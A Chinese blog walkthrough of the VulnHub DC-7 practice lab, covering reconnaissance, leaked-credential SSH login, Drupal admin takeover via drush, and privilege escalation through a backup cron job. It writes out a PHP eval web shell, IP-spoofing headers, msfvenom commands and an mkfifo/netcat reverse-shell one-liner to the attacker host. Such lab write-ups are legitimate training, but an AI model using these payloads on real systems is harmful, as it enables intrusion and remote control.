靶机8 DC-7(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-7(包含1个flag)

下载地址:

DC: 7 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-7 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-7和kali在同一网段 | 已知DC-7所在的网段

—— DC-7 IP地址:192.168.108.139/24

3.1信息收集

获取DC-7的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-7的IP地址是:192.168.108.139/24

端口扫描

命令:nmap -sV -p- 192.168.108.139

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.25

3.2    渗透测试

看到这里大致思路就是在获取了一定信息之后可以对ssh进行暴力破解

访问了web之后可以在左下角看到CMS应该就是 Drupal ,但还是识别一下CMS,并且扫描一下目录

CMS识别结果(python3 cmseek.py -u http://dc-7/ ):Drupal 8

目录扫描(dirsearch -u "http://dc-7"  ):

扫到的几个有价值的目录

1、搜索

http://dc-7/search/node

2、404

http://dc-7/forum/install/core/install.php

http://dc-7/wp-admin/core/install.php

3、CMS的升级

http://dc-7/core/install.php

4、一个登录框

http://dc-7/user/login

5、403

http://dc-7/core/

http://dc-7/modules/

http://dc-7/profiles/

http://dc-7/sites/

http://dc-7/sites/

这里根据提示加上每一个打开的页面左下角都有一个作者的标志

猜测会有源码之类的,直接去github看一看

还真的找到了,这里包含了源码文件,有一个配置文件(config.php),看不懂没关系直接翻译

打开之后直接就获得了可能的账号密码(dc7user、MdR3xOgB7#dW)

在登录页面尝试登录失败(这里本来还以为是本地才行,burp抓包修改了ip也不行)

突破登录IP地址限制:

原理:如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器

Client-Ip: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Real-IP: 127.0.0.1

True-Client-IP: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Forwarded-Host: 127.0.0.1

之前不是还有一个ssh服务嘛,尝试ssh登录成功了(dc7user、MdR3xOgB7#dW)

看了一下系统版本比较高,但还是抱着试一试的心态尝试了一下脏牛,结果果然是不行

试一下sudo和suid提权吧

sudo -l #查看可以sudo使用的程序

find / -perm -4000 2>/dev/null #寻找有SUID权限(4000的文件,不显示其他的错误信息相当于过滤

结果,这里并没有看到sudo和suid提权的方式

常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)

突然想起来在尝试脏牛提权的时候下载完成之后显示了收到了一个邮件,并且给出了地址

查看邮件,看看有没有什么敏感信息泄露,打开后看到了root和两个文件的地址

cat /var/mail/dc7user

查看一下 backups.sh 文件

在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql

想着直接改文件路径,但是可惜只有可读和可执行的权限,并不能写文件,想要写入的话还需要获取到webshell,使用www-data的用户权限

解释:

drush是一个shell接口,用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/[drupal_folder_name])

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

drush user-password admin --password="admin"

这就很尴尬,前面尝试次数太多了导致的

使用以下命令创建新用户:

drush user-create root --password "root"

drush user-password root--password="root"

使用root用户登陆成功

在个人信息里面看到了上传图片的地方,做了一个图片马尝试蚁剑连接,结果失败了,burp抓包也没找到可以跨目录存储的地方

还是没有什么办法,重新去登录admin用户

后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装。在官网找到下载链接,下载之后给 DC-7 安装

回到admin的后台管理界面依次点击左上角的manager→extend→install new module,浏览选择刚才的压缩包。

install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块

滚轮下滑找到 php fliter 勾选之后选择安装,安装成功

在Content中添加一句话木马,依次点击:content(内容)→add content→basic page(为静态内容使用基本页面),测试添加<?php phpinfo(); ?>,命名为ceshi。选择format为php code。

挂一句话木马(<?php @eval($_POST['aaa']);?>)

使用蚁剑连接,反弹shell

结果这里发现蚁剑不能使用终端执行命令

这里只能使用php执行实现反弹shell,这里使用php-reverse-shell(自行更改ip和port)

php-reverse-shell(PHP反向外壳)

  • 参考URL:https://pentestmonkey.net/tools/web-shells/php-reverse-shell
  • 此工具专为在渗透测试期间您对运行 PHP 的网络服务器具有上传访问权限的情况而设计。将此脚本上传到 Web 根目录中的某个位置,然后通过在浏览器中访问相应的 URL 来运行它。该脚本将打开从网络服务器到您选择的主机和端口的出站 TCP 连接。绑定到这个 TCP 连接的将是一个 shell。
  • 这将是一个适当的交互式 shell,您可以在其中运行 telnet、ssh 和 su 等交互式程序。它与基于 Web 表单的 shell 不同,后者允许您发送单个命令,然后返回输出。

msfvenom 获取反弹一句话(插入反弹shell的执行语句)

  • msfvenom -l payloads 'cmd/unix/reverse' #我们使用msfvenom-l进行"cmd/uniⅸ/reverse"反弹shelli命令生成payload的内容查询

生成 nc 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

生成 bash 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

尝试:

mkfifo /tmp/eieioac; nc 192.168.108.129 9999 0</tmp/eieioac | /bin/sh >/tmp/eieioac 2>&1; rm /tmp/eieioac

耐心等待backups.sh这个定时任务执行(真的要等一会),因为本来一维一下就反弹的,所以很快换了三个payload,结果发现需要等待执行

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值